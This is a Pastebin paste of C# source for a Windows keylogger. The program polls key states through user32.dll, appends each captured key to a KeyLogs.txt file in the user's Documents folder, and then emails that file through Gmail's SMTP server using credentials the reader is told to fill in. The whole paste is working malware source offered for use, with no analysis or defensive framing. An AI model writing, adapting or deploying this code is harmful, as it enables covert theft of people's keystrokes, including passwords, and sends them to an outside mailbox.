Advertisement
Guest User

Untitled

a guest
Apr 2nd, 2016
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.43 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Runtime.InteropServices;
  7. using System.Threading;
  8. using System.Windows.Forms;
  9. using System.IO;
  10. using System.Net;
  11. using System.Net.Mail;
  12. namespace Keylogs
  13. {
  14. class Program
  15. {
  16.  
  17. [DllImport("user32.dll")]
  18. public static extern int GetAsyncKeyState(Int32 i);
  19. static void Main(string[] args)
  20.  
  21. {
  22. {
  23. }
  24.  
  25. int Counter = 0;
  26.  
  27. {
  28. while (Counter != 10)
  29. {
  30. Thread.Sleep(10);
  31. for (Int32 i = 0; i < 255; i++)
  32. {
  33. int keyState = GetAsyncKeyState(i);
  34. if (keyState == 1 || keyState == -32767)
  35. {
  36. Console.WriteLine((Keys)i);
  37. Counter++;
  38. string toStringKeys = Convert.ToString((Keys)i);
  39. File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
  40. break;
  41. }
  42.  
  43.  
  44. }
  45.  
  46. }
  47. sendMail();
  48. return;
  49. }
  50.  
  51. }
  52.  
  53.  
  54. static void sendMail()
  55. {
  56. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass;
  57. string keylogs = "C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt";
  58.  
  59. gmailUser = ""; //put your gmail email.
  60. gmailPass = ""; //Put your gmail pass
  61. toEmail = gmailUser;
  62. fromEmail = gmailUser;
  63. subject = "Keylogs";
  64. body = "Here it is!";
  65.  
  66. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  67. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  68.  
  69. smtp.EnableSsl = true;
  70. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  71.  
  72. Attachment attach = new Attachment(keylogs);
  73. message.Attachments.Add(attach);
  74.  
  75. smtp.Send(message);
  76. }
  77.  
  78. }
  79. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement